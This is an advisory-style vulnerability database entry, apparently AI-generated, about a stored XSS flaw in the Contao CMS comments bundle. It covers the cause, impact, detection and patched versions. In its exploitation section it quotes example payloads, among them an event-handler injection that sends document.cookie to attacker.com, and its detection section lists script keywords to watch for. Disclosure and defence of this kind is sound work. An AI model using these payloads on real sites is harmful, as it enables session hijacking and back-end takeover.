
Cloud Vulnerability DB
A community-led vulnerabilities database
CVE-2026-107845 is a stored cross-site scripting (XSS) vulnerability in the Contao CMS comments bundle, classified as Critical with a CVSS v3.1 base score of 9.3. An unauthenticated front-end visitor can submit a comment whose email or website metadata fields are rendered without sufficient attribute and URL encoding by the listComments() function in comments-bundle/contao/dca/tl_comments.php. When any back-end user opens the Comments module, the attacker-controlled script executes in the Contao back-end origin under that user's session. The vulnerability affects Contao versions 4.0.0 through 5.3.49 and 5.4.0-RC1 through 5.7.11, and was disclosed on August 25, 2026, with patches released the same day (GitHub Advisory, GHSA).
The root cause is improper output encoding (CWE-79, CWE-116) in the listComments() function within comments-bundle/contao/dca/tl_comments.php. Specifically, the website and email fields from user-submitted comments are interpolated directly into HTML output without applying StringUtil::specialchars() or equivalent URL/attribute encoding, while the ip field is correctly escaped. The attack vector is network-based with no privileges required; the only precondition is that a back-end user must open the Comments module (user interaction required), which is guaranteed when comment moderation is enabled since moderators must view unpublished comments. No Content-Security-Policy header is present on the Contao back end, removing any browser-level mitigation for inline script execution. The fix, applied in commit 22505d5, adds proper encoding to the previously unescaped fields (GitHub Commit, GitHub Advisory).
Successful exploitation allows an unauthenticated attacker to execute arbitrary JavaScript in the Contao back-end origin under the session of any back-end user who views the Comments module, resulting in high confidentiality and integrity impact with a changed scope. The injected payload can read any back-end module accessible to the victim, create new administrator accounts, or modify templates — which Contao documents as a path from back-end write access to server-side code execution. This effectively enables full back-end account takeover, privilege escalation to administrator, and potential remote code execution on the underlying server (GitHub Advisory, GHSA).
No public proof-of-concept exploit code has been identified, and there is no evidence of in-the-wild exploitation at the time of disclosure (Feedly). The EPSS score is 0.0, reflecting low current exploitation probability. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. No threat actor attribution has been reported. However, the attack requires no authentication and minimal technical sophistication — any visitor to a Contao site with comments enabled can trigger it, making it highly accessible to opportunistic attackers.
website or email field contains a JavaScript XSS payload. For example, set the website field to a value such as javascript:alert(document.cookie) or embed an event-handler payload like " onmouseover="fetch('https://attacker.com/?c='+document.cookie) that exploits the lack of attribute encoding.listComments() function renders the unencoded website/email field, triggering the injected script in the back-end origin.website or email fields containing JavaScript keywords (<script>, javascript:, onerror=, onmouseover=, fetch(, XMLHttpRequest); back-end access log entries for admin creation or template edits immediately following a Comments module view..html5 or .twig files in /templates/) with newly added PHP or JavaScript code; new back-end administrator accounts created without a corresponding legitimate administrative action.tl_comments table where the website or email column contains HTML/JavaScript special characters or URI schemes such as javascript: or event handler attributes.Contao has released patched versions 5.3.50 and 5.7.12, which apply proper attribute and URL encoding to the website and email fields in listComments(). Administrators should upgrade immediately using Composer (composer update contao/comments-bundle) (Release 5.3.50, Release 5.7.12). If immediate patching is not possible, consider temporarily disabling the front-end comments feature or restricting back-end access to the Comments module to the minimum number of trusted users. Adding a strict Content-Security-Policy header to the Contao back end would reduce (but not eliminate) the risk of inline script execution as an interim measure (GitHub Advisory).
The vulnerability was reported by security researcher HDWSec and disclosed by Contao maintainer leofeyer on August 25, 2026, with patches released the same day (GitHub Advisory). The Hacker Wire published a dedicated write-up highlighting the back-end session hijack risk (The Hacker Wire). No significant broader media coverage or notable social media discussion has been identified beyond standard vulnerability aggregator coverage.
Source: This report was generated using AI
Free Vulnerability Assessment
Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.
Get a personalized demo
"Best User Experience I have ever seen, provides full visibility to cloud workloads."
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
"We know that if Wiz identifies something as critical, it actually is."